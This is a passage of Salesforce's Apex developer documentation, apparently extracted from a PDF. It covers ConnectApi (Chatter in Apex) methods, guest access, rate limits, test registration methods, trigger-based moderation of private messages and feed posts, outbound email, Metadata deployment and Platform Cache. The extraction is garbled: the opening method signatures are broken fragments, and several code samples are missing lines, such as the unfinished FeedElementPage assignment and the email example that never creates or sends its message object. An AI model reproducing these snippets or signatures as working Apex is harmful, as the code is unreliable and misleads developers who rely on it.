• ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix)
subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
Get feed elements from the Bookmarks, Files, Groups, Mute, News, People, Record, To, Topics, and
UserProfile feeds
To get the feed elements from these feed types, specify a subject ID. If feedType is Record, subjectId can be any record
ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me..
ConnectApi.FeedType feedType, String subjectId)
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
Get feed elements from a Record feed
For subjectId, specify a record ID.
Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce
UI is a record feed.
ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer
pageSize, ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer
352
pageSize, ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly,

SEE ALSO:
ChatterFavorites Class
ChatterFeeds Class
ConnectApi Output Classes
ConnectApi Input Classes
Accessing ConnectApi Data in Communities and Portals

Most ConnectApi methods work within the context of a single community.
Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use
'internal' or null for this argument.
If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the default
community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community ID). Any
entity, such as a comment or a feed item, referred to by other arguments in the method must be located in the specified community.
The specified community ID is used in all URLs returned in the output.
To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot use
'internal' or null.
Most URLs returned in ConnectApi output objects are Chatter REST API resources.
If you specify a community ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource
If you specify 'internal', URLs returned in the output use the same format:
/connect/communities/internal/resource
If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource

If your community allows access without logging in, guest users have access to many Apex methods. These methods return information
the guest user has access to.
If your community allows access without logging in, all overloads of these methods are available to guest users.
Important: If an overload of a method listed here indicates that Chatter is required, you must also select Give access to public
API requests on Chatter in your community preferences to make the method available to guest users. If this option isn’t selected,
data retrieved by methods that require Chatter doesn’t load correctly on public community pages.
• Announcements methods:
– getAnnouncements()
• ChatterFeeds methods:
353
– getComment()
– getCommentsForFeedElement()
– getExtensions()
– getFeed()
– getFeedElement()
– getFeedElementBatch()
– getFeedElementPoll()
– getFeedElementsFromFeed()
– getFeedElementsUpdatedSince()
– getFeedWithFeedElements()
– getLike()
– getLikesForComment()
– getLikesForFeedElement()
– getPinnedFeedElementsFromFeed() (Beta)
– getRelatedPosts()
– searchFeedElements()
– searchFeedElementsInFeed()
– updatePinnedFeedElements() (Beta)
Important: These ChatterFeeds feed item methods are available to guest users only in version 31.0. In version 32.0 and
later, the ChatterFeeds feed element methods are available to guest users.
– getCommentsForFeedItem()
– getFeedItem()
– getFeedItemBatch()
– getFeedItemsFromFeed()
– getFeedItemsUpdatedSince()
– getLikesForFeedItem()
– searchFeedItems()
– searchFeedItemsInFeed()
• ChatterGroups methods:
– getGroup()
– getGroups()
– getMembers()
– searchGroups()
• ChatterUsers methods:
– getFollowers()
– getFollowings()
– getGroups()
– getPhoto()
– getReputation()
354
– getUser()
– getUserBatch()
– getUsers()
– searchUserGroups()
– searchUsers()
• Communities methods:
– getCommunity()
• Knowledge methods:
– getTopViewedArticlesForTopic()
– getTrendingArticles()
– getTrendingArticlesForTopic()
• ManagedTopics methods:
– getManagedTopic()
– getManagedTopics()
• Recommendations methods:
– getRecommendationsForUsers()
Note: Only article and file recommendations are available to guest users.
• Topics methods:
– getGroupsRecentlyTalkingAboutTopic()
– getRecentlyTalkingAboutTopicsForGroup()
– getRecentlyTalkingAboutTopicsForUser()
– getRelatedTopics()
– getTopic()
– getTopics()
– getTrendingTopics()
• UserProfiles methods:
– getPhoto()
• Zones methods:
– searchInZone()
SEE ALSO:
https://help.salesforce.com/HTViewHelpDoc?id=networks_public_access.htm&language=en_US
Using ConnectApi Input and Output Classes

Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace
also contains input classes to pass as parameters and output classes that calls to the static methods return.
355
ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex
types are ConnectApi input objects.
The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, the ConnectApi.ActorWithId output object contains
properties such as id and url, which contain primitive data types. It also contains a mySubscription property, which contains
a ConnectApi.Reference object.
Note: All Salesforce IDs in ConnectApi output objects are 18 character IDs. Input objects can use 15 character IDs or 18
character IDs.
SEE ALSO:
Understanding Limits for ConnectApi Classes

Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both have
a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException is thrown.
Your Apex code must catch and handle this exception.
When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest
method sets your rate limit count to the value it was before you called Test.startTest.
Serializing and Deserializing ConnectApi Objects

When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When
ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
Chatter in Apex supports serialization and deserialization in the following Apex contexts:
• JSON and JSONParser classes—serialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from JSON.
• Apex REST with @RestResource—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex
inputs from JSON as parameters.
• JavaScript Remoting with @RemoteAction—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter
in Apex inputs from JSON as parameters.
Chatter in Apex follows these rules for serialization and deserialization:
• Only output objects can be serialized.
• Only top-level input objects can be deserialized.
• Enum values and exceptions cannot be serialized or deserialized.
ConnectApi Versioning and Equality Checking

Versioning in ConnectApi classes follows specific rules that are different than the rules for other Apex classes.
Versioning for ConnectApi classes follows these rules:
• A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of version
is analogous to the /vXX.X section of a Chatter REST API URL.
356
• Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which the
method that created the output object was invoked.
• When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
• Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of the
Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.
• The output of the toString method only returns properties that are supported in the version of the code interacting with the
object. For output objects, the returned properties must also be supported in the build version.
• Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties.
• Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate.
• Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Equality checking for ConnectApi classes follows these rules:
• Input objects—properties are compared.
• Output objects—properties and build versions are compared. For example, if two objects have the same properties with the same
values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion.
Casting ConnectApi Objects

It may be useful to downcast some ConnectApi output objects to a more specific type.
This technique is especially useful for message segments, feed item capabilities, and record fields. Message segments in a feed item are
typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability.
Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete
subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the
corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.
The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment:
if(segment instanceof ConnectApi.MentionSegment) {
ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment;
}
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
SEE ALSO:
ChatterFeeds Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.MessageSegment Class
ConnectApi.AbstractRecordView Class
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Chatter REST
API request:
/chatter/feed-elements?q=chat*
357
This example is a Chatter in Apex method call:

ConnectApi.ChatterFeeds.searchFeedElements(null, 'chat*');
You can specify the following wildcard characters to match text patterns in your search:
Wildcard Description
* Asterisks match zero or more characters at the middle or end of your search term. For example, a search for john*
finds items that start with john, such as, john, johnson, or johnny. A search for mi* meyers finds items with mike
meyers or michael meyers.
If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the \ character).
? Question marks match only one character in the middle or end of your search term. For example, a search for jo?n
finds items with the term john or joan but not jon or johan. You can't use a ? in a lookup search.
When using wildcards, consider the following notes:

• The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your
intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is more efficient
to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*) that could return
extraneous matches (such as prosperity).
• Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify
propert*.
• Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you must escape
the special character. For example, "where are you\?" finds the phrase where are you?. The escape character (\) is
required in order for this search to work correctly.

Like all Apex code, Chatter in Apex code requires test coverage.
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The methods
have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
Most Chatter in Apex methods require access to real organization data, and fail unless used in test methods marked
@IsTest(SeeAllData=true).
However, some Chatter in Apex methods, such as getFeedElementsFromFeed, are not permitted to access organization data
in tests and must be used with special test methods that register outputs to be returned in a test context. If a method requires a setTest
method, the requirement is stated in the method’s “Usage” section.
A test method name is the regular method name with a setTest prefix. The test method signature (combination of parameters)
matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.
Using Chatter in Apex test methods is similar to testing web services in Apex. First, build the data you expect the method to return. To
build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract
output classes.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method
you’re testing.
After you register the test data, run the regular method. When you run the regular method, the registered data is returned.
358
Important: Use the test method signature that matches the regular method signature. If data wasn't registered with the matching
set of parameters when you call the regular method, you receive an exception.
This example shows a test that constructs an ConnectApi.FeedElementPage and registers it to be returned when
getFeedElementsFromFeed is called with a particular combination of parameters.
global class NewsFeedClass {

global static Integer getNewsFeedCount() {
ConnectApi.FeedElementPage elements =
return elements.elements.size();
}
}
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedElementPage testPage = new ConnectApi.FeedElementPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());
testPage.elements = testItemList;
// Set the test data

ConnectApi.ChatterFeeds.setTestGetFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me', testPage);
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
}
}
Differences Between ConnectApi Classes and Other Apex Classes

Note these additional differences between ConnectApi classes and other Apex classes.
System mode and context user
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The
methods have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
When a method takes a subjectId argument, often that subject must be the context user. In these cases, you can use the string
me to specify the context user instead of an ID.
with sharing and without sharing
Chatter in Apex ignores the with sharing and without sharing keywords. Instead, the context user controls all security,
field level sharing, and visibility. For example, if the context user is a member of a private group, ConnectApi classes can post
to that group. If the context user is not a member of a private group, the code can’t see the feed items for that group and can’t post
to the group.
359
Asynchronous operations
Some Chatter in Apex operations are asynchronous, that is, they don’t occur immediately. For example, if your code adds a feed
item for a user, it isn’t immediately available in the news feed. Another example: when you add a photo, it’s not available immediately.
For testing, if you add a photo, you can’t retrieve it immediately.
No XML support in Apex REST
Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization
and deserialization of Chatter in Apex objects.
Empty log entries
Information about Chatter in Apex objects doesn’t appear in VARIABLE_ASSIGNMENT log events.
No Apex SOAP web services support
Chatter in Apex objects can’t be used in Apex SOAP web services indicated with the keyword webservice.
Moderate Chatter Private Messages with Triggers

Write a trigger for ChatterMessage to automate the moderation of private messages in an
EDITIONS
organization or community. Use triggers to ensure that messages conform to your company’s
messaging policies and don’t contain blacklisted words. Available in: Salesforce
Write an Apex before insert trigger to review the private message body and information about the Classic
sender. You can add validation messages to the record or the Body field, which causes the message
Available in: Enterprise,
to fail and an error to be returned to the user.
Although you can create an after insert trigger, ChatterMessage is not updatable, and consequently and Developer Editions
any after insert trigger that modifies ChatterMessage will fail at run time with an appropriate error
message.
USER PERMISSIONS
To create a trigger for private messages from Setup, enter ChatterMessage Triggers in
the Quick Find box, then select ChatterMessage Triggers. Alternatively, you can create a To save Apex triggers for
trigger from the Developer Console by clicking File > New > Apex Trigger and selecting ChatterMessage:
ChatterMessage from the sObject drop-down list. • Author Apex
AND
This table lists the fields that are exposed on ChatterMessage.
Manage Chatter
Table 3: Available Fields in ChatterMessage Messages and Direct
Messages
Field Apex Data Type Description
Id ID Unique identifier for the Chatter message
Body String Body of the Chatter message as posted by the

sender
SenderId ID User ID of the sender
SentDate DateTime Date and time that the message was sent
SendingNetworkId ID Network (Community) in which the message

was sent.
This field is visible only if communities are
enabled and Private Messages are enabled in
at least one community.
360
This example shows a before insert trigger on ChatterMessage that is used to review each new message. This trigger calls a class method,
moderator.review(), to review each new message before it is inserted.
trigger PrivateMessageModerationTrigger on ChatterMessage (before insert) {

ChatterMessage[] messages = Trigger.new;
// Instantiate the Message Moderator using the factory method

MessageModerator moderator = MessageModerator.getInstance();
for (ChatterMessage currentMessage : messages) {

moderator.review(currentMessage);
}
}
If a message violates your policy, for example when the message body contains blacklisted words, you can prevent the message from
being sent by calling the Apex addError method. You can call addError to add a custom error message on a field or on the
entire message. The following snippet shows a portion of the reviewContent method that adds an error to the message Body
field.
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
The following is the full MessageModerator class, which contains methods for reviewing the sender and the content of messages.
Part of the code in this class has been deleted for brevity.
public class MessageModerator {
private Static List<String> blacklistedWords=null;
private Static MessageModerator instance=null;
/**
Overall review includes checking the content of the message,
and validating that the sender is allowed to send messages.
**/
public void review(ChatterMessage theMessage) {
reviewContent(theMessage);
reviewSender(theMessage);
}
/**
This method is used to review the content of the message. If the content
is unacceptable, field level error(s) are added.
**/
public void reviewContent(ChatterMessage theMessage) {
// Forcing to lower case for matching
String proposedMsg=theMessage.Body.toLowerCase();
boolean problemsFound=false; // Assume it's acceptable
// Iterate through the blacklist looking for matches
for (String nextBlackListedWord : blacklistedWords) {
if (proposedMsg.contains(nextBlackListedWord)) {
361
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
}
// For demo purposes, we're going to add a "seal of approval" to the

// message body which is visible.
if (!problemsFound) {
theMessage.Body = theMessage.Body +
' *** approved, meets conduct guidelines';
}
/**
Is the sender allowed to send messages in this context?
-- Moderators -- always allowed to send
-- Internal Members -- always allowed to send
-- Community Members -- in general only allowed to send if they have
a sufficient Reputation
-- Community Members -- with insufficient reputation may message the
moderator(s)
**/
public void reviewSender(ChatterMessage theMessage) {
// Are we in a Community Context?
boolean isCommunityContext = (theMessage.SendingNetworkId != null);
// Get the User

User sendingUser = [SELECT Id, Name, UserType, IsPortalEnabled
FROM User where Id = :theMessage.SenderId ];
// ...
}
/**
Enforce a singleton pattern to improve performance
**/
public static MessageModerator getInstance() {
if (instance==null) {
instance = new MessageModerator();
}
return instance;
}
/**
Default contructor is private to prevent others from instantiating this class
without using the factory.
Initializes the static members.
**/
private MessageModerator() {
362
initializeBlackList();
}
/**
Helper method that does the "heavy lifting" to load up the dictionaries
from the database.
Should only run once to initialize the static member which is used for
subsequent validations.
**/
private void initializeBlackList() {
if (blacklistedWords==null) {
// Fill list of blacklisted words
// ...
}
}
}
Moderate Feed Items with Triggers

Write a trigger for FeedItem to automate the moderation of posts in an organization or community.
EDITIONS
Use triggers to ensure that posts conform to your company’s communication policies and don’t
contain unwanted words or phrases. Available in: Enterprise,
Write an Apex before insert trigger to review the feed item body and change the status of the feed Performance, Unlimited,
item if it contains a blacklisted phrase. To create a trigger for feed items from Setup, enter and Developer Editions
FeedItem Triggers in the Quick Find box, then select FeedItem Triggers. Alternatively,
you can create a trigger from the Developer Console by clicking File > New > Apex Trigger and USER PERMISSIONS
selecting FeedItem from the sObject drop-down list.
This example shows a before insert trigger on FeedItem that is used to review each new post. If the To save Apex triggers for
FeedItem:
post contains the unwanted phrase, the trigger also sets the status of the post to
• Author Apex
PendingReview.
trigger ReviewFeedItem on FeedItem (before insert) {

for (Integer i = 0; i<trigger.new.size(); i++) {
// We don't want to leak "test phrase" information.
if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
trigger.new[i].status = 'PendingReview';
System.debug('caught one for pendingReview');
}
}
}
Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities in Apex
using the Network class and using Chatter in Apex classes in the ConnectApi namespace.
363
Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also, most
Chatter in Apex methods take a communityId argument.
SEE ALSO:
Network Class
ConnectApi Namespace
Email
You can use Apex to work with inbound and outbound email.
Use Apex with these email features:
IN THIS SECTION:
Inbound Email
Use Apex to work with email sent to Salesforce.
Outbound Email
Use Apex to work with email sent from Salesforce.
Inbound Email
Use Apex to work with email sent to Salesforce.
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by
Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.
See Apex Email Service.
Outbound Email
Use Apex to work with email sent from Salesforce.
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind
carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.
Note: Visualforce email templates cannot be used for mass email.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened,
and the total number of times it was opened.
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
364
Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage
or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);
where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage.

The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.
Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be
called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the transaction is
committed and emails are sent. The syntax is:
Messaging.reserveMassEmailCapacity(count);
and
Messaging.reserveSingleEmailCapacity(count);
where count indicates the total number of addresses that emails will be sent to.
Note the following:
• The email is not sent until the Apex transaction is committed.
• The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All
email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
• Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods
in a transaction.
• Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When
this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a
SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
• Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When
this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a
MASS_MAIL_LIMIT_EXCEEDED error code.
• Any error returned in the SendEmailResult object indicates that no email was sent.
Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.
Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives
a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Email Addresses in the Salesforce online help.
Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
365
// the current transaction is committed.

Messaging.reserveSingleEmailCapacity(2);
// Processes and actions involved in the Apex transaction occur next,

// which conclude with sending a single email.
// Now create a new single email message object

// that will send out a single email to the addresses in the To, CC & BCC list.
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');
// Specify the name used as the display name.

mail.setSenderDisplayName('Salesforce Support');
// Specify the subject line for your email address.

mail.setSubject('New Case Created : ' + case.Id);
// Set to True if you want to BCC yourself on the email.

mail.setBccSender(false);
// Optionally append the salesforce.com email signature to the email.

// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);
// Specify the text content of the email.

mail.setPlainTextBody('Your Case: ' + case.Id +' has been created.');
mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created.<p>'+

'To view your case <a href=https://yourInstance.salesforce.com/'+case.Id+'>click
here.</a>');
// Send the email you have created.

Metadata
that admins control, or configuration information applied by installed apps and packages.
Use the classes in the Metadata namespace to access metadata from within Apex code for tasks that include:
• Customizing app installs or upgrades—During or after an install (or upgrade), your app can create or update metadata to let users
configure your app.
366
• Customizing apps after installation—After your app is installed, you can use metadata in Apex to let admins configure your app
using the UI that your app provides rather than having admins manually use the standard Salesforce setup UI.
• Securely accessing protected metadata—Update metadata that your app uses internally without exposing these types and components
to your users.
• Creating custom configuration tools—Use metadata in Apex to provide custom tools for admins to customize apps and packages.
Metadata access in Apex is available for Apex classes using API version 40.0 and later.
For more information on metadata types and components, see the Metadata API Developer Guide and the Custom Metadata Types
Implementation Guide.
IN THIS SECTION:
Retrieving and Deploying Metadata
Retrieve and deploy metadata using the Metadata.Operations class.
Supported Metadata Types
Apex supports a subset of metadata types and components.
Security Considerations
Be aware of security considerations when accessing metadata using Apex.
Testing Metadata Deployments
Apex code that accesses metadata must be properly tested.
SEE ALSO:
Metadata Namespace
Retrieving and Deploying Metadata

Retrieve and deploy metadata using the Metadata.Operations class.
Use the Metadata.Operations.retrieve() method to synchronously retrieve metadata from the current org. Provide a list
of metadata component names that you want to retrieve. Salesforce returns a list of matching component data, represented by component
classes that derive from Metadata.Metadata.
Use the Metadata.Operations.enqueueDeployment() method to asynchronously deploy metadata to the current org.
Deployment is queued for asynchronous processing. When deploying metadata, you can create and update components, but not delete
components. There are limitations on which components that apps and packages can deploy and which types of apps and packages
can deploy to which types of orgs. For more information see Security Considerations.
Use the full name of the metadata component when retrieving and deploying metadata. The full name may include the namespace,
metadata type, and component name. If you’re updating components in a namespace, you also need to qualify the namespace for the
component in the full name. For example, the full name for a custom metadata "MDType1__mdt" component named "Component1"
that is contained in the "myPackage" namespace is "myPackage__MDType1__mdt.myPackage__Component1". For more information
on the metadata component full name syntax, see Metadata base type in the Metadata API Developer Guide.
You can retrieve and deploy metadata in post install scripts. In uninstall scripts, you can only retrieve, not deploy, metadata from Apex
code.
See Metadata.Operations for code examples for retrieving and deploying metadata.
Supported Metadata Types

Apex supports a subset of metadata types and components.
367
Metadata access in Apex is limited to types and components that support the use cases described in Metadata. Apps and packages can
use the metadata feature in Apex to retrieve and deploy the following metadata types and components:
• Records of custom metadata types
• Layouts
Security Considerations
Be aware of security considerations when accessing metadata using Apex.
Generally, Apex classes installed in the subscriber org can access any public, supported metadata type or component in the subscriber
org. Protected metadata, such as a custom metadata type that’s been marked protected, can only be accessed by Apex classes in the
same namespace as the protected metadata.
Additionally, for managed packages, if the managed package is not approved by Salesforce via security review, Apex classes in the
package cannot access metadata (public or protected) unless the Deploy Metadata from Non-Certified Package Versions via Apex
org preference is enabled. This preference, located under Setup > Apex Settings, must be enabled if admins or developers are installing
managed packages that haven’t passed security review for app testing or pilot purposes.
For deployments, because Metadata.Operations.enqueueDeployment() uses asynchronous Apex, queued deployment
jobs and deployment callbacks are counted as asynchronous jobs in the current org. Queued deployment jobs and callbacks are subject
to org limits on asynchronous Apex.
Apps that access metadata via Apex must notify users that the app can retrieve or deploy metadata in the subscriber org. For installs
that access metadata, notify users in the description of your package. You can write your own notice, or use this sample:
This package can access and change metadata outside its namespace in the Salesforce
org where it’s installed.
Salesforce verifies the notice during the security review. For more information, see the ISVforce Guide.
Testing Metadata Deployments

Apex code that accesses metadata must be properly tested.
To provide Apex test coverage for metadata deployments, write tests that verify both the set up of the deployment request and handling
of the deployment results.
Tests for deployment request code verify the metadata components and component values that get created and assert that the
DeployContainer contains exactly what needs to be deployed.
Tests for deployment result code verify that your DeployCallback handles expected and unexpected results. Your
DeployCallback is normally called by Salesforce as part of the asynchronous deployment process. Therefore, to test your callback
outside of the deployment process, create tests that use your callback class directly. You also must create test DeployResults and
DeployCallbackContext instances to test your DeployCallback.handleResults() method.
When creating a test instance of DeployCallbackContext, subclass DeployCallbackContext and provide your own
implementation of getCallbackJobId().
// DeployCallbackContext subclass for testing that returns myJobId
public class TestingDeployCallbackContext extends Metadata.DeployCallbackContext {
private myJobId = null; // define to a canned ID you can use for testing
public override Id getCallbackJobId() {
return myJobId;
}
}
368
Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal
disruption to core Salesforce processes.
IN THIS SECTION:
Platform Cache Features
The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or
remove cache values by using the Session, Org, SessionPartition, and OrgPartition classes in the Cache
namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to
balance performance across apps.
Platform Cache Considerations
Review these considerations when working with Platform Cache.
Platform Cache Limits
The following limits apply when using Platform Cache.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the
way that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications
or less-critical data.
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage
values in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
Use a Visualforce Global Variable for the Platform Cache
You can access cached values stored in the session or org cache from a Visualforce page with global variables.
Safely Cache Values with the CacheBuilder Interface
A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null.
You can write this code yourself. Or, you can use the Cache.CacheBuilder interface, which makes it easy to safely store and
retrieve values to a session or org cache.
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the
best cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also
be mindful of cache limits to prevent unexpected cache evictions.
369
Platform Cache Features

The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or remove
cache values by using the Session, Org, SessionPartition, and OrgPartition classes in the Cache namespace. Use
the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to balance performance
across apps.
There are two types of cache:
• Session cache—Stores data for individual user sessions. For example, in an app that finds customers within specified territories,
the calculations that run while users browse different locations on a map are reused.
Session cache lives alongside a user session. The maximum life of a session is eight hours. Session cache expires when its specified
time-to-live (ttlsecs value) is reached or when the session expires after eight hours, whichever comes first.
• Org cache—Stores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu
items based on user profile are reused.
Unlike session cache, org cache is accessible across sessions, requests, and org users and profiles. Org cache expires when its specified
time-to-live (ttlsecs value) is reached.
The best data to cache is:

• Reused throughout a session
• Static (not rapidly changing)
• Otherwise expensive to retrieve
For both session and org caches, you can construct calls so that cached data in one namespace isn’t overwritten by similar data in
another. Optionally use the Cache.Visibility enumeration to specify whether Apex code can access cached data in a namespace
outside of the invoking namespace.
Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that
transaction are rolled back.
Try Platform Cache

